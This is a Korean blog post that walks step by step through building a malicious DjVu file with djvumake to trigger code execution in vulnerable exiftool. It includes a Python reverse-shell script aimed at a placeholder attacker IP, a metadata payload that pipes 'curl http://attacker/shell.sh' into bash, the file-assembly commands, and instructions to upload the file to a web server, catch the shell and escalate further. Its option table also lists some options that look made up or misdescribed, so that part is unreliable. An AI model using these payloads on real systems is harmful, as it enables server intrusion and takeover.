2 분 소요

djvumake 활용 Exploit 제작 및 사용법

1단계. djvumake 소개 및 설치

  • djvumake는 DjVu 파일을 조립하는 도구로, 단일 페이지 DjVu 파일을 생성할 수 있음
  • DjVu 파일 포맷은 주로 스캔 문서 저장용으로 텍스트, 이미지 등을 압축해 저장함
  • Exploit에서는 DjVu 파일 내에 악성 코드를 심어 exiftool 같은 메타데이터 처리 도구를 통한 코드 실행에 활용
  • 설치 명령어:
    sudo apt-get install -y djvulibre-bin
    

2단계. exploit 스크립트 준비

(1) 리버스 쉘 스크립트(shell.sh) 작성

  • 공격 대상 시스템에서 실행할 리버스 쉘 코드 생성 예시:
    #!/bin/bash
    python3 -c 'import socket,subprocess,os;
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
    s.connect(("공격자IP", 포트));
    os.dup2(s.fileno(),0);
    os.dup2(s.fileno(),1);
    os.dup2(s.fileno(),2);
    p=subprocess.call(["/bin/sh","-i"]);'
    

(2) 메타데이터에 삽입할 명령어 파일 만들기 (exploit)

  • exiftool 등에서 읽을 때 실행을 유도할 명령어 포함
  • 예를 들어 curl을 이용해 shell.sh를 다운로드하고 실행하도록 삽입:
    metadata "\c${system ('curl http://공격자IP/shell.sh | bash')};"
    

3단계. djvumake로 악성 DjVu 파일 생성

  • shell.sh(리버스 쉘 스크립트)와 exploit(메타데이터 실행 명령어)를 결합하여 악성 DjVu 파일 생성
  • 실행 명령어 예시:
    djvumake exploit.djvu INFO=0,0 BGjp=/dev/null ANTa=exploit
    
  • 이 명령어는 exploit 파일 내 명령을 포함하는 DjVu 파일을 생성

4단계. 악성 DjVu 파일 업로드 및 실행 유도

  • 생성된 exploit.djvu 파일을 취약 웹 서버 혹은 대상 시스템의 업로드 폴더(예: /var/www/html/subrion/uploads/)에 복사
  • 취약 시스템에서 exiftool 같은 메타데이터 분석 도구가 이 파일을 접근시 내부 명령이 실행될 수 있도록 대기
  • 공격자는 리스너를 미리 실행하여 리버스 쉘 연결 대기

5단계. 리버스 쉘로 시스템 제어 획득

  • 대상 시스템에서 악성 DjVu 파일이 처리되는 순간, 삽입된 쉘 명령이 실행되어 공격자에게 쉘 연결 전달
  • 이후 권한 상승 공격 혹은 추가 침투 진행 가능

요약 및 주의사항

  • djvumake는 DjVu 파일 조립용 도구이나 취약점 공격에 악용 가능
  • 해당 공격은 exiftool 취약점과 결합해 사용함 (exiftool 메타데이터 처리 시 임의 코드 실행)
  • 공격 성공 위해선 대상 시스템에 취약한 버전 exiftool 및 업로드 폴더 권한 필수
  • 공격 시 curl로 shell.sh 다운로드 및 실행하는 방식이 가장 기본적이며, 환경에 따라 payload 변형 필요

djvumake 명령어 및 상세 옵션

기본 사용법

djvumake output.djvu [옵션]
  • output.djvu: 생성할 DjVu 파일 이름 지정
  • 기본적으로 입력된 구성에 따라 단일 페이지 DjVu 파일 생성

주요 옵션

옵션 설명
BGjp=<파일 경로> 배경 이미지 파일 지정 (JPEG2000 형식 권장)
ANTa=<텍스트> 앤티(Annotate) 텍스트 추가, 메타데이터 등 삽입용
TXT=<텍스트 파일> 텍스트 콘텐츠를 포함한 파일 지정 (OCR 텍스트 등)
INFO=<가로>,<세로> 가로 및 세로 이미지 크기 지정, 이미지 없는 경우 좌표 0,0으로 설정
NPg=<페이지 수> 페이지 수 지정 (기본 1 페이지)
INCL=<파일 경로> 추가할 파일 포함

익스플로잇 활용 주요 옵션

  • ANTa 옵션에 익스플로잇 페이로드 삽입
    exiftool 메타데이터 해석 과정에서 실행될 명령어를 ANTa 파라미터 값에 삽입
    djvumake evil.djvu ANTa="...악성 명령어..."
    
  • BGjp 옵션으로 악성 이미지 삽입
    JPEG2000 포맷 악성 이미지 파일을 삽입해 파일 크기/형태 변조 가능

  • INFO=0,0
    텍스트가 없는 빈 이미지 크기 설정 시 사용

예시 명령어

# 악성 페이로드 포함 DjVu 생성 (빈 이미지 + 악성 메타데이터)
djvumake exploit.djvu INFO=0,0 BGjp=/dev/null ANTa="curl http://attacker/shell.sh | bash"

참고 사항

  • djvumake는 DjVu 파일을 조립하는 도구이므로, 악성코드 삽입은 메타데이터 해석 취약점을 악용하는 보조 수단이다.

댓글 남기기